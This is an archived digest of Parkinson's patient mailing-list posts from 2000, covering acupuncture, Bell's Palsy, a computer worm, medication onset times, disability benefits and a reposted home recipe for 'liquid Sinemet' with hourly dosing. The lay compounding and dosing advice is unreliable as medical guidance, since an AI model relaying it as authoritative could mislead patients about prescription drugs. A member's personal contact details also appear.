paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 09:17:17 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Thu, 18 May 2000 23:37:13 -0700 Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine To: [log in to unmask] > It is my understanding that our western medical science has no clear > understanding of why acupuncture relieves pain (only that this has > been clearly established). Until our science can unravel this > mystery, wouldn't it be more prudent to say that the western science > of medicine has not been able to validate claims that acupuncture has > a therapeutic effect in the treatment of illness? Chuck, "Western medical science" has developed at least a fairly strong hypothesis as to how acupuncture works. There are studies which show that if one takes patients who achieve good pain relief from acupuncture and then inject them with Naloxone, an opiate antagonist, the pain returns immediately. Thus, it is believed that acupuncture leads to pain relief by the stimulation of the release of the endogenous pain-relievers (endorphins) inside our brains. The above is not "gospel" yet, but it is a strong hypothesis. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Fri, 19 May 2000 12:30:05 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Re: NEWS: NewsScan: Donald B. Calne, Neurologist In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Dear Janet-- I think this is right on target---in my professional life as a counselor I often told clients that actions were more determined by emotions than by reason. Understanding that helps...... >NewsScan Daily, 19 May 2000 ("Above The Fold") > >WORTH THINKING ABOUT: WHY WE DO WHAT WE DO > >Neurologist Donald B. Calne says: SNIPPED But reason is only contributing to the 'how' portion of these decisions; the more fundamental 'why' element, for all of these examples, is driven by instinctive >self-preservation, emotional needs, and cultural attitudes. We are usually >reluctant to admit the extent to which these forces govern our behavior, >and accordingly we often recruit reason to explain and justify our >actions. " Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html ========================================================================= Date: Fri, 19 May 2000 12:34:11 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: NEWS: NewsScan: Donald B. Calne, Neurologist Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 12:30 PM 2000/05/19 -0400, you wrote: >Dear Janet-- I think this is right on target---in my professional life as a >counselor I often told clients that actions were more determined by >emotions than by reason. Understanding that helps...... yep sadly, emotions are a 'no-go' zone for too many people it is where we live and who we are janet janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 09:44:26 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Fri, 19 May 2000 10:33:49 EDT Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine To: [log in to unmask] > I went to a > cosmetic surgeon , who said he wouldn't touch a patient who had Bell's > Palsy. Strange, huh? I've been told Bell's Palsy occurs when one has > been emotionally traumatized. Is this true? I am not sure why the cosmetic surgeon rejected you. There are procedures which can improve the cosmetic result. The "classical" Bell's Palsy is the result of a viral infection which causes swelling of that portion of the facial nerve which travels through the middle ear (it is called the facial canal; or, in the old terminology, the Fallopian canal [yes, old man Fallopius named that structure as well as the female "tubes"]). Sometimes, if the Bell's Palsy is caught at the very beginning, a surgery can be done which removes bone over the facial canal and allows the nerve to swell without compression, but it has to be done within a few hours of onset. The "kicker" with Bell's Palsy is that you have to diagnose it properly. There are many neurological conditions (some quite serious) which can cause isolated paralysis of the facial nerve, and one has to make sure that one is not dealing with one of those. One of the best ways to make the differential (not absolute, but good) is to determine whether there is preservation of taste function (sweet, sour, salty) on the front portion of the tongue. If the taste sensation is lost on the same side as the facial paralysis, it is most likely a classical Bell's Palsy. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Fri, 19 May 2000 09:44:26 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: NEWS: NYTimes: New Bug / old tricks In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Fri, 19 May 2000 07:10:14 -0400 Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: NEWS: NYTimes: New Bug / old tricks To: [log in to unmask] > part of my 'strange ideas' about microsoft > involve my ongoing refusal to 'upgrade' from windows 3.1 to windows 95 > or 98 which means i am still in 16-bit wonderland patiently awaiting > linux Yeah, Janet, I was in your position, too, but when I finally had to replace my computers last summer, I was forced to make the move to WIN98. I loved WIN 3.1 and used it until then, but even this dinosaur was pushed into the "modern world" lasy year. I won't use Outlook, however; the few times that I have opened it to check something, it has tried to take over my system and I have had to kick it hard to shut it off. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Fri, 19 May 2000 09:44:26 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: NEWS: NYTimes: New Bug Loose in Computers, Experts Say In-Reply-To: <3924B968.23747.107DC03@localhost> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Priority: normal Date sent: Fri, 19 May 2000 03:47:52 -0700 Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: NEWS: NYTimes: New Bug Loose in Computers, Experts Say To: [log in to unmask] > Like you, I try to avoid Microsoft. I use Pegasus e-mail, > (thankyou David Harris for a well behaved and very stable program) I fully agree with Murray and also use Pegasus. The virus has let me quite alone. I also have Norton anti-virus running :-) Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Fri, 19 May 2000 10:01:57 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Barb_MSN <[log in to unmask]> Subject: Re: Off/On Delay Experience Brian.... From the moment I take a dose of my twice-a-day PD meds, it's at LEAST an hour, or more likely an hour and a half, till I get to that days "optimum results." There are some days that no matter that the stars are favorable, the moon is in the right quarter, I ate correctly, slept well (with "well" meaning coupla-three hours of uninterrupted sleep) the night before and STILL have just a plain ol "bad day." But (WHEW!) thank goodness that doesn't happen TOOO often. Barb Mallut [log in to unmask] -----Original Message----- From: Brian Collins <[log in to unmask]> To: [log in to unmask] <[log in to unmask]> Date: Friday, May 19, 2000 2:02 AM Subject: Re: Off/On Delay Experience >On Fri 19 May, Murray Charters wrote: >> On 18 May 2000, at 23:11, E1 Mail Server (Ruth) wrote: >> >> On 20/20 last night Michael Fox took a break to take a pill.It only took 5 minutes for >> his new pill to >> work.Why am I not able to do this, 45 minutes is average on a good day if I haven/ >> t eaten any >> protien,Would like to hear from others ,How long are you off? How many times each day >> ? >> >> Ruth (56/45/?) >> >> Hey Ruth, >> That was TV! And we don't know what kind of *pill* MJF was poppin'! >> >> Seriously, if I crush a standard Sinemet and take it with half 'n half >> 7Up and OJ I can feel the effect in about 10 minutes. >> >> All the best ...................... murray >> [log in to unmask] >> >> View the Parkinson's Awareness Links at: >> http://www.geocities.com/janet313/pienet/wwweb/index.html >> >> >Murray's Sinemet/Orange juice is the fastest that I have heard of >(I haven't tried it myself, because I am quite happy with mmy Madopar >Dispersible. These are soluble tablets , come in 100/25 and 50/12.5 >size, and take about 20 mins to feel the effect. That leaves you 2 more >options: You can Stop the clock (which I suspect MJF did) OR - and this >is serious - I do it all the time - Anticipate the need for the next >tablet, and take the next tablet just before the old one starts to fade. > You have to know precisely how long your tablet lasts. It is the only >thing which enables me to remain fully active arfte 21 years of PD >-- >Brian Collins <[log in to unmask]> (60/39/34) ========================================================================= Date: Fri, 19 May 2000 13:38:24 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Ivan M Suzman <[log in to unmask]> Subject: I need worldwide release of Dispersible Madopar Comments: cc: [log in to unmask] MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Dear Listmembers, I feel disgusted and very angry that , in this day of the internet, and global marketing, that the patient's access to time-tested, proven medications is limited by crazy , self-serving, profit-making, political and geographic turf wars. Why are our valued medications, at this point in human history, not available GLOBALLY? They should be!!! Noting Brian Collins moving and MARVELLOUS 21st year of success in living a productive and full life on medications only, and noting that dispersible Madopar takes only 20 mins. to take effect, I am frustrated that it is not available in the USA/ So I ask, impatiently, but with hope, what can we as a world community do, to obtain dispersible Madopar, globally?? OR, to put the question in another way, how can we learn to apply PRESSURE effectively, upon the manufacturers? Can we push Dupont to make SInemet, and Athena to make Atamet, and Teva to make generic carbidopa-levodopa, all ABSORBABLE within 15-20 minutes? Or to we be forced to think of working in dangerous, unapproved networks, linking us to the United Kingdom, to get Madopar?? Even at my best, my "off-periods" can often last 40 minutes, no matter what I am able to do to prepare for them .or to avoid them. Should any PWP have to wait unnecessary hours, every day, in order to function? Ivan Suzman 50/39/36 BRIAN COLLINS wrote, in part: > >Murray's Sinemet/Orange juice is the fastest that I have heard > of > >(I haven't tried it myself, because I am quite happy with my > Madopar > >Dispersible. These are soluble tablets , come in 100/25 and > 50/12.5 > >size, and take about 20 mins to feel the effect. > >Brian Collins <[log in to unmask]> (60/39/34) ^^^^^^ WARM GREETINGS FROM ^^^^^^^^^^^^ :-) Ivan Suzman 50/39/36 [log in to unmask] :-) Portland, Maine land of lighthouses 63 deg. F :-) ******************************************************************** ========================================================================= Date: Fri, 19 May 2000 13:47:09 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: NEWS: eBMJ: Editorial: Depression in PD: letter: Olfactory disorder and PD Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit At 11:29 AM 2000/05/19 -0400, i wrote, in part: >Electronic response to: >EDITORIALS >Depression in Parkinson's disease >Hervé Allain, Stéphane Schuck, and Nicolas Mauduit >BMJ 2000; 320: 1287-1288 >15 May 2000 >Olfactory disorder and Parkinson’s Disease >Dear Editor, >Aside from motor and cognitive deficits, Parkinson patients also >manifest an olfactory deficit. Decrease of olfactory function and >odor aversion have been reported among the first symptoms in >patients with Parkinson's disease (PD) by several authors [1-3]. >A large number of clinical studies have also reported that olfactory >loss in idiopathic PD is bilateral, present in hemiparkinsonism, >unrelated to the stage or clinical subtype of the disease, and >independent of antiparkinsonian medication.[4] [2] The intranasal >chemosensory trigeminal system seemingly was neither affected by >the neuronal degeneration seen in PD nor by treatment with >antiparkinsonian drugs.[2]. >The olfactory vector hypothesis even suggests that the causative agent >for PD enters the brain via the nasal route, however the reason for >olfactory dysfunction may be more subtle. It has been proposed that >the initial causative event in PD may start in the rhinencephalon >(olfactory brain) prior to damage in the basal ganglia. ... this was very interesting to me some of you may know that i can attribute possible cause of my pd to a head trauma, a pesticide exposure, and a rare virus which all took place within one year in 1981 at my age 34 the pesticide was one called Baygon, used in the caribbean outlawed in north america prolonged exposure to it due to ignorance caused my sense of taste to be profoundly affected for several hours [and lord knows what else] i also think that my lack of a lot of the more common secondary symptoms of pd may also be attributable to the 'trauma' concept as opposed to general deterioration/aging. 16 years after my first symptoms showed up and 12 years after diagnosis and starting on levodopa i can still appear to be "disease free" for hours at a stretch [albeit with more and more careful med management as the years go by] janet janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 13:57:11 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: I need worldwide release of Dispersible Madopar Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 01:38 PM 2000/05/19 -0400, ivan wrote, in part: >Dear Listmembers, >Noting Brian Collins moving and MARVELLOUS 21st year of success in >living a productive and full life on medications only, and >noting that dispersible Madopar takes only 20 mins. >to take effect... >> >Murray's Sinemet/Orange juice is the fastest that I have heard... this isn't news to me ivan the so-called "sinemet soda" ? "sinemet shake" ? "sinemet smoothie" ? - i forget the name - but essentially sinemet dissolved in sweet juice or soda has been mentioned here many times since 1996 i think and has the benefit of very fast "kick-in" time i.e. i get the best response out of sinemet dissolved in coca cola [no financial interest - rats!] if my stomach is empty, i can get the benefit of a good slug or two in ten minutes easy i'm sure there is a ton of info in the archives under 'liquid sinemet' janet janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 11:08:02 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Neuroscience Clinic Webmaster <[log in to unmask]> Subject: Discount on technical books MIME-version: 1.0 Content-type: multipart/alternative; boundary="MS_Mac_OE_3041579282_48833_MIME_Part" > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --MS_Mac_OE_3041579282_48833_MIME_Part Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Hi everyone, I just came across this site for Discount on technical books. http://www.bookpool.com/ bob --MS_Mac_OE_3041579282_48833_MIME_Part Content-type: text/html; charset="US-ASCII" Content-transfer-encoding: quoted-printable <HTML> <HEAD> <TITLE>Discount on technical books</TITLE> </HEAD> <BODY> Hi everyone,<BR> I just came across this site for <FONT SIZE=3D"2"><FONT FACE=3D"Geneva">D= iscount on technical books.<BR> http://www.bookpool.com/<BR> bob</FONT></FONT> </BODY> </HTML> --MS_Mac_OE_3041579282_48833_MIME_Part-- ========================================================================= Date: Fri, 19 May 2000 11:15:54 -0700 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Marling McReynolds <[log in to unmask]> Subject: kak worm info In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Folks, Nonags (nonags.com) has a cleaner for the kak worm. check it out under freeware anti-virus. Marling ========================================================================= Date: Fri, 19 May 2000 14:25:45 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: archives: search * in parkinsn where subject contains 'liquid sinemet' Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" > search * in parkinsn where subject contains 'liquid sinemet' -> 81 matches. Item # Date Time Recs Subject ------ ---- ---- ---- ------- 000611 94/06/22 23:07 33 Liquid Sinemet 000613 94/06/23 11:51 25 Re: Liquid Sinemet 000614 94/06/23 11:52 10 Re: Liquid Sinemet 000706 94/08/01 23:10 21 Liquid Sinemet Information 000713 94/08/04 22:19 26 Re: Liquid Sinemet Information 000714 94/08/05 00:39 37 Liquid Sinemet 000730 94/08/08 10:36 17 Liquid sinemet 000732 94/08/08 12:18 32 Re: Liquid sinemet 006249 95/10/21 09:08 72 Liquid Sinemet 006265 95/10/21 23:37 33 Re: Liquid Sinemet 006960 95/11/21 01:30 88 Re: LIQUID SINEMET 007001 95/11/22 06:47 109 Re: Does liquid sinemet exist? 007025 95/11/22 18:29 20 Re: Does liquid sinemet exist? 007107 95/11/27 10:45 11 Re: Does liquid sinemet exist? 007132 95/11/27 23:27 32 Re: Does liquid sinemet exist? YES 007134 95/11/28 02:32 44 Liquid Sinemet for Joyce 007151 95/11/28 23:31 30 Re: Liquid Sinemet for Joyce 007173 95/11/30 00:04 32 Re: Liquid Sinemet 007431 95/12/14 00:31 68 Liquid Sinemet 007808 95/12/31 09:30 13 Liquid Sinemet 007841 96/01/02 01:11 29 Re: Liquid Sinemet 008290 96/01/23 01:42 13 JOYCE TAMES/LIQUID SINEMET 008557 96/02/02 13:13 20 Liquid sinemet query 008562 96/02/01 08:17 17 Liquid Sinemet 009971 96/04/06 01:07 27 Container for Liquid Sinemet 009978 96/04/06 08:40 27 Re: Container for Liquid Sinemet 009987 96/04/06 18:47 18 liquid sinemet bottle 010023 96/04/08 17:41 55 Liquid Sinemet Containers 010026 96/04/09 08:03 30 Re: Liquid Sinemet Containers 010194 96/04/17 21:58 30 Liquid Sinemet and Permax 010220 96/04/19 09:21 24 Re: Liquid Sinemet and Permax 010298 96/04/23 06:02 20 re liquid sinemet 010301 96/04/23 09:50 25 Re: re liquid sinemet 010323 96/04/24 04:42 34 Re: re liquid sinemet 010346 96/04/25 02:36 33 Re: re liquid sinemet 010384 96/04/27 20:09 43 Re: liquid sinemet formula 010507 96/05/02 19:16 18 Permax, Liquid Sinemet 013172 96/08/10 07:31 19 Liquid Sinemet and exercise. 013207 96/08/11 15:35 24 Re: Liquid Sinemet and exercise. 013228 96/08/12 11:28 20 liquid sinemet info 013234 96/08/12 15:12 21 liquid sinemet info -Reply 013244 96/08/12 23:57 28 Re: liquid sinemet info 013315 96/08/15 01:50 23 Re: Liquid Sinemet and exercise. 020385 97/02/17 10:35 17 Liquid Sinemet? 020387 97/02/17 11:25 21 Re: Liquid Sinemet? 020398 97/02/17 18:16 21 Re: Liquid Sinemet? 020992 97/03/01 16:45 11 Re: Liquid Sinemet? archive search 021038 97/03/03 00:38 45 KURT >> Liquid Sinemet help 021085 97/03/04 09:45 30 Re: Liquid Sinemet 021097 97/03/04 14:39 11 Re: Liquid Sinemet 021107 97/03/04 15:25 31 Re: Liquid Sinemet 021147 97/03/05 17:18 16 Re: Liquid Sinemet 021268 97/03/09 10:14 18 SURVEY: Liquid Sinemet 021278 97/03/09 13:18 48 Re: SURVEY: Liquid Sinemet 022953 97/04/14 19:44 33 Re: Liquid Sinemet 025061 97/05/30 12:41 13 Re: liquid sinemet 030768 97/09/21 18:09 62 Liquid Sinemet/Response 030773 97/09/21 20:18 26 Re: Liquid Sinemet/Response 030786 97/09/21 22:41 36 Re: Liquid Sinemet/Response 030796 97/09/22 08:18 43 Re: Liquid Sinemet/Response 030797 97/09/22 07:32 36 Re: Liquid Sinemet/Response 030801 97/09/22 11:28 15 Re: Liquid Sinemet/Response 030804 97/09/22 16:01 52 Re: Liquid Sinemet/Response 030811 97/09/22 22:14 23 Re: Liquid Sinemet/Response 030815 97/09/23 00:00 24 Re: Liquid Sinemet/Response 030823 97/09/23 05:35 49 Re: Liquid Sinemet/Response 030825 97/09/23 07:33 46 Re: Liquid Sinemet/Response 030837 97/09/24 13:46 62 Liquid Sinemet 037784 98/02/17 11:02 68 Re: LEAH/ Liquid Sinemet 037787 98/02/17 11:01 19 Re: LEAH/ Liquid Sinemet 039803 98/04/02 12:44 84 Those on Liquid Sinemet 044694 98/07/11 16:01 12 Liquid sinemet 044745 98/07/12 12:27 33 Liquid Sinemet 045895 98/07/31 13:04 15 Liquid sinemet 045930 98/08/01 07:06 35 Liquid Sinemet/ Liquid everything 045987 98/08/02 14:20 12 Re: Liquid Sinemet/ Liquid everything 057507 99/03/20 11:05 24 liquid Sinemet 064468 99/07/27 11:40 44 Re: liquid sinemet 066295 99/08/20 17:37 50 Liquid Sinemet idea 066311 99/08/21 10:09 17 Re: Liquid Sinemet idea 073222 99/12/10 15:35 17 LIST: liquid Sinemet here are instructions on retrieving them via e-mail from the archives: 1....send the following command message: GETPOST PARKINSN xxxxxx xxxxxx xxxxxx (where xxxxxx = the pieNET archive posting item number) 2....to the PARKINSN listserver command address: <A HREF="mailto:[log in to unmask]">[log in to unmask]</A> 3....and bob's yer uncle! the listserver will send them to you within minutes! janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 14:38:39 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Don McKinley <[log in to unmask]> Subject: LIST:-----M.J.F. MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable YOU MEAN LOT OF YOU CAN NOT FIGURE THE TIME ON FOX. IT TOOK HIM AS MUCH = TIME AS IT DOES US. THE JUST STOPPED TAPPING THEN STARED WHEN HE CAME = BACK. HOW LONG I DO NOT KNOW 45MIN. 1 HR. THE CAN NOT HAVE DEAD AIR = TIME. TO US IT WAS QUICK BUT TO THEM IT WS WHO KNOWS HOW LONG HAVEN'T = YOU STARRED A POST THEN WHEN AND DONE SOME THING ELSE TO US YOU NEVER = STOPPED. ME SOME TIMES IT WILL TAKE 1HR. TIMES RUN OUTS SO I GOT LOT OF = RECONNECTING TO DO=20 I.Y.Q. DON AND VIVIAN I KNOW ALL CAPS BAD BAAD DON ========================================================================= Date: Fri, 19 May 2000 11:34:37 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Barb_MSN <[log in to unmask]> Subject: Re: Returning to work after disability? My "working after being declared disabled" story somewhat parallels Sandra's experience with SSDI. When I returned to work (out of my home in the online industry( my MD AND my neurosurgeon told SSDI that I was still disabled and would continue to be in the future. However. SSDI took away ALL the benefits I'd earned (including Medicare, making it necessary for me to be out-of-pocket each month for my health plan-HMO membership to the tune of $162 a month for medical care, plus any co-payments due for treatment or drugs. I also had to reimburse the HMO for the 5 months that SSDI decided I was responsible due to my being "CURED" of Parkinson's Disease! I kid you not - - - that is what SSDI stated my condition to be!!! It took my getting an SSDI specialist attorney (and if you're on a second go round when you previously had been declared disabled by SSDI, few SSDI specialist attorneys out there taking to take a case on contingency for an applicant who's already "been there done that," with SSDI. Ultimately I got a terrific attorney service out of Chicago (thank goodness for email!) who flew out to L.A. on the day I went back to SSDI court 18 months after being "CURED" (I only WISH!!!!!) and she was WONDERFUL! I was returned all benefits and was awarded the amount I was out of pocket (in excess of $9000 for the SSDI and another $4000 for Medicare. The kicker of this whole miserable and debilitating experience was the fact that about 3 months *AFTER* SSDI had deposited the back payments award to my checking account, they up and took over $4000 back! If THAT isn't enough, they went into my personal checking account yet ANOTHER time ad took another $4000 a coupla months after the first time the hit my checking account! I mean they LITERALLY went into MY PERSONAL checking account and refunded to THEMSELVES!! Upon phoning SSDI (in a total state of shock) to find out WHY and HOW they took momey out of my checking account, I was more of less told "Because." It was laso suggested that IF I din't cooperate with SSDI, I would once again find myself without any SSDI benefits! I recognize it when I saw the handwriting on the way, and begrudingly accepted that SSDI was doing some hanky-panky SOMERWHERE In that behemoths, disorganized enterprise and I shut up thereafter/ Was I angry? Is the Pope Polish? Barb Mallut [log in to unmask] From: Sandra Norris <[log in to unmask]> To: [log in to unmask] <[log in to unmask]> Date: Thursday, May 18, 2000 2:13 PM Subject: Re: Returning to work after disability? >Hi Camilla, > >Yes I was awarded disability and tried going back to work for awhile. I was >almost penalized for the time I worked. After my situation was evaluated >social security decided not to ask for a return of funds. I did try working >for a year, but then the pd was becoming debilitating to the point there was >no ONE day alike. I have not worked for 7 years now. Hope this helps. > >Sandra Norris >"Faith is the daring of the soul to go farther than it can see." ========================================================================= Date: Fri, 19 May 2000 14:39:45 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: liquid sinemet - re-post 007001 Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" hi all this is one of the oldest and one of the best posts on liquid sinemet and natch it's written by the late alan bonander janet =============================================================================== Post: 007001 Date: Wed, 22 Nov 1995 From: Alan Bonander Subj: Re: Does liquid sinemet exist? -------------------------------------------------------------------------------- Bbaum, In a message dated 95-11-21 15:31:49 EST, you write: << Hi. Someone suggested to contact you for some information concerning treatment of Parkinson's. Wonder if you have answers to my questions. My 80-year old plus father has an advanced form of Parkinson's. He has tremendous difficulty swallowing Sinemet and at times even spits it out the pills. Answer: Have you tried crushing the pill and stir it in with apple souse? This is a common trick used in rest homes when the patient is having difficulty swallowing. Question: Is Sinemet also offered in liquid form or through IV? If so, how does it pass the blood-brain barrier in liquid form? What dosage does it come in? Are the reactions to liquid Sinemet different from tablet form? Thanks. >> Answer: Liquid Sinemet is a name given to dissolved regular Sinemet pills. It is made by the patient or caregiver and cannot be input through an IV. Here is the recipe for Liquid Sinemet: 1 liter of "coffee grade" water level 1/2 teaspoon of Vitamin C crystals (power form NOT pill form) combination of regular Sinemet 25/100, Sinemet 25/250 and/or Sinemet 10/100 pills such that the sum of the second numbers (levodopa) equals 1000. Use of generric meds is acceptable. Put the Vitamin C in the water followed by the pills. Shake the mixture for about 5 seconds. Let it sit for about 5 - 10 minutes and shake it another 5 seconds. There will be pill material suspended in the solution. This is the pill binding. The carbidopa and levodopa have been completely dissolved along with the Vitamin C. The pill binding may be filtered out by filtering the solution through WHITE MILLETA brand coffee filters. Usually one liter per filter. The resulting solution contains 1 mg of levodopa per cc or ml of fluid. A cc and a ml are the same. Why go to all this work? When one swallows a pill and enough liquid the pill ends up in the stomach. The pill has no value in the stomach, it must get into the small intestine to get absorbed into the blood system. To do this the pill is usually dissolved in the stomach fluids and than passed through the pylorus valve. This valve prevents unprocessed food parts from entering the intestine before ready. It all fails, this valve is known to open somewhere between 30 min and 90 min after eating. However, the pylorus valve does not shut completely. There is the possibility for liquid to pass through even if closed. Now you are starting to get the picture. I can take pills and get a random time to take effect say from 20 min to 90 min. Or I could drink LS and hopefully it will pass through the stomach and pylorus and directly into the small intestine. This could take as long as 1 min. It is from the small intestine that the medicine is absorbed into the blood and some of it actually makes it to the brain. Now the Vitamin C was added for two reasons, (1) Vitamin C acts as a preservative and (2) Vitamin C adds to the acidity of the meds. This speeds up the processing of the medication. Thus LS exists only in the patient's chemical factory (kitchen). You cannot currently buy it. That is changing soon as Athena Neurosciences will be coming out with power packets that contain the contents of either a 25/100 or a 25/250 with the vitamin C already added and the pill binding gone. All you need to do is put it in water. Don't hold your breath on this development, but it is human trials currently. Because LS passes through the system quickly, it seems to arrive harder (more meds at one time) and thus have a shorter holding power. What this means is that most people using LS take a drink hourly. The high frequency is possible as you can decide the medication level to the mg of levodopa. This is done by drinking that number of cc that equals the desired mgs. If the patient is currently taking a Sinemet 25/100 every 3 hours, than they will need about 33 1/3 cc every hour. Now it turns out that a "shot" is one ounce of liquid which is about 30 cc. Thus in the above case, the patient could start by drinking a "fat" shot of LS every hour. A "Jigger" is 1 1/2 ounces or 45 cc. That is very close to a half of a xx/100 pill. Believe me if you put away the shot glasses because you gave up "drinking" when PD entered your life,. well, dig them out. They will come in handy. That is a quick run down on liquid sinemet. Will it help your dad? Possibly if he is able to keep liquids down. One thing that can be done is to make the dose of liquid Sinemet have more taste. Some add Tang to it, others use OJ. I do not like Tang and OJ as it is too acidic for me. The best fluid to use that I know of is Ginger Ale. You want a sweet fluid that will be easy on the stomach and nice on the palit. So drink the LS and follow it with about two ounces of Ginger Ale. I hope I have answered your questions. Regards, Alan Bonander Age 55, Diag 11 yrs, liquid meds, pallidotomy =============================================================================== janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ 